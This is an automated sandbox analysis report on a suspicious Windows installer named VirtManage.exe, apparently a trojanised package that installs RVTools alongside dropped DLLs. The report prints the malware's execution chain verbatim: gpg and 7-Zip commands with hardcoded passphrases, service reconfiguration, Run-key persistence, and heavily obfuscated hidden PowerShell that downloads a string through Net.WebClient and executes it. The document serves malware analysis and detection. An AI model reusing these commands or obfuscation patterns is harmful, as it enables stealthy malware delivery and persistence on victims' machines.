Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
VirtManage.exe

Overview

General Information

Sample name:VirtManage.exe
Analysis ID:1632485
MD5:582b28a61d76e50d86c4b17dee4a9f42
SHA1:762195d453f50d58f882e0d19ce6ae4b50f414bf
SHA256:5f79572d35507c591a773925b8786c6caea69b19ef164b305d71070caf976707
Tags:exeFORTUNEPRINTCENTRELIMITEDuser-SquiblydooBlog
Infos:

Detection

Score:46
Range:0 - 100
Confidence:100%

Compliance

Score:33
Range:0 - 100

Signatures

Antivirus detection for dropped file
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
.NET source code contains a domain name check
Joe Sandbox ML detected suspicious sample
Loading BitLocker PowerShell Module
Obfuscated command line found
Sigma detected: Dot net compiler compiles file from suspicious location
Suspicious powershell command line found
Uses whoami command line tool to query computer and username
Adds / modifies Windows certificates
Checks for available system drives (often done to infect USB drives)
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to dynamically determine API calls
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to shutdown / reboot the system
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
EXE planting / hijacking vulnerabilities found
Enables debug privileges
Enables security privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Uncommon Svchost Parent Process
Sigma detected: Usage Of Web Request Commands And Cmdlets
Uses 32bit PE files
Uses 7zip to decompress a password protected archive
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

  • System is w10x64
  • VirtManage.exe (PID: 7068 cmdline: "C:\Users\user\Desktop\VirtManage.exe" MD5: 582B28A61D76E50D86C4B17DEE4A9F42)
    • gpg.exe (PID: 7136 cmdline: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\MicrosoftAPI\tools.7z --decrypt C:\ProgramData\Microsoft\MicrosoftAPI\5FILE.1A.gpg MD5: 2F5BFF434DC70BF6C2C24219F7EEA756)
      • conhost.exe (PID: 7144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • gpg.exe (PID: 6356 cmdline: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\MicrosoftAPI\7za.exe --decrypt C:\ProgramData\Microsoft\MicrosoftAPI\2FILE.1A.gpg MD5: 2F5BFF434DC70BF6C2C24219F7EEA756)
      • conhost.exe (PID: 6380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • 7za.exe (PID: 6516 cmdline: C:\ProgramData\Microsoft\MicrosoftAPI\7za x C:\ProgramData\Microsoft\MicrosoftAPI\tools.7z -pJerx#sdqWE45 -oC:\ProgramData\Microsoft\MicrosoftAPI MD5: C58A4193BAC738B1A88ACAD9C6A57356)
      • conhost.exe (PID: 6536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • msiexec.exe (PID: 6756 cmdline: msiexec.exe /i "C:\ProgramData\Microsoft\MicrosoftAPI\RVTools.msi" MD5: 9D09DC1EDA745A5F87553048E57620CF)
    • gpg.exe (PID: 6804 cmdline: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\MicrosoftAPI\Cert.txt --decrypt C:\ProgramData\Microsoft\MicrosoftAPI\3FILE.1A.gpg MD5: 2F5BFF434DC70BF6C2C24219F7EEA756)
      • conhost.exe (PID: 6796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • gpg.exe (PID: 5776 cmdline: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\MicrosoftAPI\UpdateFull.7z --decrypt C:\ProgramData\Microsoft\MicrosoftAPI\4FILE.1A.gpg MD5: 2F5BFF434DC70BF6C2C24219F7EEA756)
      • conhost.exe (PID: 3700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • 7za.exe (PID: 5692 cmdline: C:\ProgramData\Microsoft\MicrosoftAPI\7za x C:\ProgramData\Microsoft\MicrosoftAPI\UpdateFull.7z -pTG98HJerxsdqWE45 -oC:\ProgramData\Microsoft\MicrosoftAPI MD5: C58A4193BAC738B1A88ACAD9C6A57356)
      • conhost.exe (PID: 5852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 6892 cmdline: sc config msdtc start= demand MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)
      • conhost.exe (PID: 6880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • sc.exe (PID: 6156 cmdline: sc config msdtc obj= "LocalSystem" MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)
      • conhost.exe (PID: 4172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • winapi.exe (PID: 3708 cmdline: C:\ProgramData\Microsoft\MicrosoftAPI\winapi.exe MD5: ADB9B72679B88DDE1749E0A438222156)
      • powershell.exe (PID: 5372 cmdline: powershell.exe -windowstyle Hidden -command "SV 5pW $('C:\Progr'+'amData\Micr'+'osoft\Micro'+'softAPI\ieQ'+'u4aeD'+'3u.t');Set-Item Variable:\Sh 'Net.WebClient';dir rid*;Set-Variable 7 (.(Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name)|GM|Where-Object{(Variable _ -ValueO).Name-clike'*dl*t'}).Name).Invoke((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).PsObject.Methods|Where-Object{(Variable _ -ValueO).Name-clike'*nd*e'}).Name).Invoke('N*ct',1,$TRUE))(GV Sh).Value);Set-Variable GPW ((((Variable 7).Value|GM)|Where-Object{(Variable _ -ValueO).Name-clike'D*g'}).Name);.(Get-Command *e-*press*)((Variable 7).Value.((GCI Variable:/GPW).Value).Invoke((GV 5pW -ValueO)))" MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 5200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • csc.exe (PID: 2928 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0dxyzzew\0dxyzzew.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)
          • cvtres.exe (PID: 4112 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6C81.tmp" "c:\Users\user\AppData\Local\Temp\0dxyzzew\CSCE714EBFE583744818A7275BE9DF94CC1.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)
        • whoami.exe (PID: 5152 cmdline: "C:\Windows\system32\whoami.exe" MD5: A4A6924F3EAF97981323703D38FD99C4)
    • svchost.exe (PID: 5776 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
    • SgrmBroker.exe (PID: 5692 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: 3BA1A18A0DC30A0545E7765CB97D8E63)
  • gpg.exe (PID: 6184 cmdline: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\MicrosoftAPI\7za.dll --decrypt C:\ProgramData\Microsoft\MicrosoftAPI\1FILE.1A.gpg MD5: 2F5BFF434DC70BF6C2C24219F7EEA756)
  • msiexec.exe (PID: 5308 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)
    • msiexec.exe (PID: 2144 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 7BA87831A94E96067AD1C39369AC7469 C MD5: 9D09DC1EDA745A5F87553048E57620CF)
      • WmiPrvSE.exe (PID: 6184 cmdline: C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding MD5: 64ACA4F48771A5BA50CD50F2410632AD)
  • winapi.exe (PID: 6888 cmdline: "C:\ProgramData\Microsoft\UpdateDesktop\winapi.exe" MD5: ADB9B72679B88DDE1749E0A438222156)
    • powershell.exe (PID: 6328 cmdline: powershell.exe -windowstyle Hidden -command "SI Variable:zX 'Net.WebClient';Set-Variable G8E $('C:\Pro'+'gramDat'+'a\Micro'+'soft\Update'+'Desktop\eep6d'+'i0uGu.t');dir rid*;Set-Variable kAl (.$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand.PsObject.Methods|Where-Object{(Get-Item Variable:/_).Value.Name-ilike'G*d'}).Name).Invoke($ExecutionContext.InvokeCommand.GetCommandName('N*-O*',1,1),[System.Management.Automation.CommandTypes]::Cmdlet)(GI Variable:\zX).Value);Set-Item Variable:/75 ((((DIR Variable:\kAl).Value|Member)|Where-Object{(Get-Item Variable:/_).Value.Name-ilike'D*g'}).Name);$ExecutionContext|ForEach{(Get-Item Variable:/_).Value.InvokeCommand.(($ExecutionContext.InvokeCommand|Member|Where-Object{(Get-Item Variable:/_).Value.Name-ilike'*ke*pt'}).Name).Invoke((DIR Variable:\kAl).Value.((GV 75 -Va)).Invoke((ChildItem Variable:/G8E).Value))}" MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 6220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • csc.exe (PID: 996 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jvshszob.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)
        • cvtres.exe (PID: 1796 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1217.tmp" "c:\Users\user\AppData\Local\Temp\CSCC94B61069A254E398AE8B2B386E749A2.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)
      • whoami.exe (PID: 3488 cmdline: "C:\Windows\system32\whoami.exe" MD5: A4A6924F3EAF97981323703D38FD99C4)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

Sigma detected: CurrentVersion Autorun Keys Modification
Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\Microsoft\UpdateDesktop\winapi.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\VirtManage.exe, ProcessId: 7068, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\UpdateOleview
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Source: Process startedAuthor: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0dxyzzew\0dxyzzew.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0dxyzzew\0dxyzzew.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -windowstyle Hidden -command "SV 5pW $('C:\Progr'+'amData\Micr'+'osoft\Micro'+'softAPI\ieQ'+'u4aeD'+'3u.t');Set-Item Variable:\Sh 'Net.WebClient';dir rid*;Set-Variable 7 (.(Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name)|GM|Where-Object{(Variable _ -ValueO).Name-clike'*dl*t'}).Name).Invoke((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).PsObject.Methods|Where-Object{(Variable _ -ValueO).Name-clike'*nd*e'}).Name).Invoke('N*ct',1,$TRUE))(GV Sh).Value);Set-Variable GPW ((((Variable 7).Value|GM)|Where-Object{(Variable _ -ValueO).Name-clike'D*g'}).Name);.(Get-Command *e-*press*)((Variable 7).Value.((GCI Variable:/GPW).Value).Invoke((GV 5pW -ValueO)))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5372, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0dxyzzew\0dxyzzew.cmdline", ProcessId: 2928, ProcessName: csc.exe
Sigma detected: Uncommon Svchost Parent Process
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\VirtManage.exe", ParentImage: C:\Users\user\Desktop\VirtManage.exe, ParentProcessId: 7068, ParentProcessName: VirtManage.exe, ProcessCommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, ProcessId: 5776, ProcessName: svchost.exe
Sigma detected: Usage Of Web Request Commands And Cmdlets
Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell.exe -windowstyle Hidden -command "SV 5pW $('C:\Progr'+'amData\Micr'+'osoft\Micro'+'softAPI\ieQ'+'u4aeD'+'3u.t');Set-Item Variable:\Sh 'Net.WebClient';dir rid*;Set-Variable 7 (.(Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name)|GM|Where-Object{(Variable _ -ValueO).Name-clike'*dl*t'}).Name).Invoke((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).PsObject.Methods|Where-Object{(Variable _ -ValueO).Name-clike'*nd*e'}).Name).Invoke('N*ct',1,$TRUE))(GV Sh).Value);Set-Variable GPW ((((Variable 7).Value|GM)|Where-Object{(Variable _ -ValueO).Name-clike'D*g'}).Name);.(Get-Command *e-*press*)((Variable 7).Value.((GCI Variable:/GPW).Value).Invoke((GV 5pW -ValueO)))", CommandLine: powershell.exe -windowstyle Hidden -command "SV 5pW $('C:\Progr'+'amData\Micr'+'osoft\Micro'+'softAPI\ieQ'+'u4aeD'+'3u.t');Set-Item Variable:\Sh 'Net.WebClient';dir rid*;Set-Variable 7 (.(Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name)|GM|Where-Object{(Variable _ -ValueO).Name-clike'*dl*t'}).Name).Invoke((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).PsObject.Methods|Where-Object{(Variable _ -ValueO).Name-clike'*nd*e'}).Name).Invoke('N*ct',1,$TRUE))(GV Sh).Value);Set-Variable GPW ((((Variable 7).Value|GM)|Where-Object{(Variable _ -ValueO).Name-clike'D*g'}).Name);.(Get-Command *e-*press*)((Variable 7).Value.((GCI Variable:/GPW).Value).Invoke((GV 5pW -ValueO)))", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\ProgramData\Microsoft\MicrosoftAPI\winapi.exe, ParentImage: C:\ProgramData\Microsoft\MicrosoftAPI\winapi.exe, ParentProcessId: 3708, ParentProcessName: winapi.exe, ProcessCommandLine: powershell.exe -windowstyle Hidden -command "SV 5pW $('C:\Progr'+'amData\Micr'+'osoft\Micro'+'softAPI\ieQ'+'u4aeD'+'3u.t');Set-Item Variable:\Sh 'Net.WebClient';dir rid*;Set-Variable 7 (.(Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name)|GM|Where-Object{(Variable _ -ValueO).Name-clike'*dl*t'}).Name).Invoke((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).PsObject.Methods|Where-Object{(Variable _ -ValueO).Name-clike'*nd*e'}).Name).Invoke('N*ct',1,$TRUE))(GV Sh).Value);Set-Variable GPW ((((Variable 7).Value|GM)|Where-Object{(Variable _ -V
Sigma detected: Dynamic CSharp Compile Artefact
Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5372, TargetFilename: C:\Users\user\AppData\Local\Temp\0dxyzzew\0dxyzzew.cmdline
Sigma detected: Local Accounts Discovery
Source: Process startedAuthor: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: "C:\Windows\system32\whoami.exe", CommandLine: "C:\Windows\system32\whoami.exe", CommandLine|base64offset|contains: , Image: C:\Windows\System32\whoami.exe, NewProcessName: C:\Windows\System32\whoami.exe, OriginalFileName: C:\Windows\System32\whoami.exe, ParentCommandLine: powershell.exe -windowstyle Hidden -command "SV 5pW $('C:\Progr'+'amData\Micr'+'osoft\Micro'+'softAPI\ieQ'+'u4aeD'+'3u.t');Set-Item Variable:\Sh 'Net.WebClient';dir rid*;Set-Variable 7 (.(Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name)|GM|Where-Object{(Variable _ -ValueO).Name-clike'*dl*t'}).Name).Invoke((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).PsObject.Methods|Where-Object{(Variable _ -ValueO).Name-clike'*nd*e'}).Name).Invoke('N*ct',1,$TRUE))(GV Sh).Value);Set-Variable GPW ((((Variable 7).Value|GM)|Where-Object{(Variable _ -ValueO).Name-clike'D*g'}).Name);.(Get-Command *e-*press*)((Variable 7).Value.((GCI Variable:/GPW).Value).Invoke((GV 5pW -ValueO)))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5372, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\whoami.exe", ProcessId: 5152, ProcessName: whoami.exe
Sigma detected: Non Interactive PowerShell Process Spawned
Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -windowstyle Hidden -command "SV 5pW $('C:\Progr'+'amData\Micr'+'osoft\Micro'+'softAPI\ieQ'+'u4aeD'+'3u.t');Set-Item Variable:\Sh 'Net.WebClient';dir rid*;Set-Variable 7 (.(Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name)|GM|Where-Object{(Variable _ -ValueO).Name-clike'*dl*t'}).Name).Invoke((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).PsObject.Methods|Where-Object{(Variable _ -ValueO).Name-clike'*nd*e'}).Name).Invoke('N*ct',1,$TRUE))(GV Sh).Value);Set-Variable GPW ((((Variable 7).Value|GM)|Where-Object{(Variable _ -ValueO).Name-clike'D*g'}).Name);.(Get-Command *e-*press*)((Variable 7).Value.((GCI Variable:/GPW).Value).Invoke((GV 5pW -ValueO)))", CommandLine: powershell.exe -windowstyle Hidden -command "SV 5pW $('C:\Progr'+'amData\Micr'+'osoft\Micro'+'softAPI\ieQ'+'u4aeD'+'3u.t');Set-Item Variable:\Sh 'Net.WebClient';dir rid*;Set-Variable 7 (.(Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name)|GM|Where-Object{(Variable _ -ValueO).Name-clike'*dl*t'}).Name).Invoke((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).PsObject.Methods|Where-Object{(Variable _ -ValueO).Name-clike'*nd*e'}).Name).Invoke('N*ct',1,$TRUE))(GV Sh).Value);Set-Variable GPW ((((Variable 7).Value|GM)|Where-Object{(Variable _ -ValueO).Name-clike'D*g'}).Name);.(Get-Command *e-*press*)((Variable 7).Value.((GCI Variable:/GPW).Value).Invoke((GV 5pW -ValueO)))", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\ProgramData\Microsoft\MicrosoftAPI\winapi.exe, ParentImage: C:\ProgramData\Microsoft\MicrosoftAPI\winapi.exe, ParentProcessId: 3708, ParentProcessName: winapi.exe, ProcessCommandLine: powershell.exe -windowstyle Hidden -command "SV 5pW $('C:\Progr'+'amData\Micr'+'osoft\Micro'+'softAPI\ieQ'+'u4aeD'+'3u.t');Set-Item Variable:\Sh 'Net.WebClient';dir rid*;Set-Variable 7 (.(Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name)|GM|Where-Object{(Variable _ -ValueO).Name-clike'*dl*t'}).Name).Invoke((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).PsObject.Methods|Where-Object{(Variable _ -ValueO).Name-clike'*nd*e'}).Name).Invoke('N*ct',1,$TRUE))(GV Sh).Value);Set-Variable GPW ((((Variable 7).Value|GM)|Where-Object{(Variable _ -V
Sigma detected: Windows Processes Suspicious Parent Directory
Source: Process startedAuthor: vburov: Data: Command: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\VirtManage.exe", ParentImage: C:\Users\user\Desktop\VirtManage.exe, ParentProcessId: 7068, ParentProcessName: VirtManage.exe, ProcessCommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, ProcessId: 5776, ProcessName: svchost.exe

Data Obfuscation

barindex
Sigma detected: Dot net compiler compiles file from suspicious location
Source: Process startedAuthor: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0dxyzzew\0dxyzzew.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0dxyzzew\0dxyzzew.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: powershell.exe -windowstyle Hidden -command "SV 5pW $('C:\Progr'+'amData\Micr'+'osoft\Micro'+'softAPI\ieQ'+'u4aeD'+'3u.t');Set-Item Variable:\Sh 'Net.WebClient';dir rid*;Set-Variable 7 (.(Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name)|GM|Where-Object{(Variable _ -ValueO).Name-clike'*dl*t'}).Name).Invoke((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).(((Item Variable:\*uti*t).Value.(((Item Variable:\*uti*t).Value|GM)[6].Name).PsObject.Methods|Where-Object{(Variable _ -ValueO).Name-clike'*nd*e'}).Name).Invoke('N*ct',1,$TRUE))(GV Sh).Value);Set-Variable GPW ((((Variable 7).Value|GM)|Where-Object{(Variable _ -ValueO).Name-clike'D*g'}).Name);.(Get-Command *e-*press*)((Variable 7).Value.((GCI Variable:/GPW).Value).Invoke((GV 5pW -ValueO)))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5372, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0dxyzzew\0dxyzzew.cmdline", ProcessId: 2928, ProcessName: csc.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Antivirus detection for dropped file
Source: C:\ProgramData\Microsoft\MicrosoftAPI\aclui-2.dllAvira: detection malicious, Label: TR/Redcap.rclpi
Source: C:\ProgramData\Microsoft\UpdateDesktop\aclui.dllAvira: detection malicious, Label: TR/Redcap.rclpi
Source: C:\ProgramData\Microsoft\MicrosoftAPI\aclui.dllAvira: detection malicious, Label: TR/Redcap.tjlhz
Multi AV Scanner detection for dropped file
Source: C:\ProgramData\Microsoft\MicrosoftAPI\aclui-2.dllReversingLabs: Detection: 62%
Source: C:\ProgramData\Microsoft\MicrosoftAPI\aclui.dllReversingLabs: Detection: 62%
Source: C:\ProgramData\Microsoft\UpdateDesktop\aclui.dllReversingLabs: Detection: 62%
Multi AV Scanner detection for submitted file
Source: VirtManage.exeVirustotal: Detection: 16%Perma Link
Joe Sandbox ML detected suspicious sample
Source: Submited SampleIntegrated Neural Analysis Model: Matched 92.5% probability
Source: C:\ProgramData\Microsoft\MicrosoftAPI\gpg.exeCode function: 1_2_0044C0D0 gcry_sexp_build,gcry_sexp_build,gcry_sexp_build,gcry_pk_verify,gcry_sexp_release,gcry_sexp_release,gcry_sexp_release,gcry_sexp_build,gcry_free,gcry_sexp_build,gcry_mpi_get_nbits,gcry_mpi_release,gcry_mpi_release,gcry_sexp_build,gcry_sexp_build,gcry_sexp_build,gcry_sexp_build,gcry_sexp_build,gcry_free,gcry_mpi_get_nbits,gcry_mpi_copy,gcry_mpi_copy,gcry_mpi_get_flag,gcry_mpi_get_flag,gcry_sexp_build,gpg_err_code_from_syserror,gpg_err_code_from_syserror,gcry_sexp_build,gcry_mpi_get_flag,gcry_mpi_get_flag,gcry_mpi_get_opaque,memcpy,gcry_mpi_set_opaque_copy,gpg_err_code_from_syserror,gcry_mpi_print,memmove,gcry_mpi_set_opaque_copy,_gpgrt_log_assert,gcry_mpi_get_flag,gcry_mpi_get_opaque,memcpy,gcry_mpi_set_opaque_copy,gcry_mpi_get_opaque,memcpy,gcry_mpi_set_opaque_copy,gcry_mpi_print,memmove,gcry_mpi_set_opaque_copy,_gpgrt_log_assert,gcry_sexp_release,gcry_sexp_release,gcry_sexp_release,gcry_sexp_build,gcry_sexp_release,gc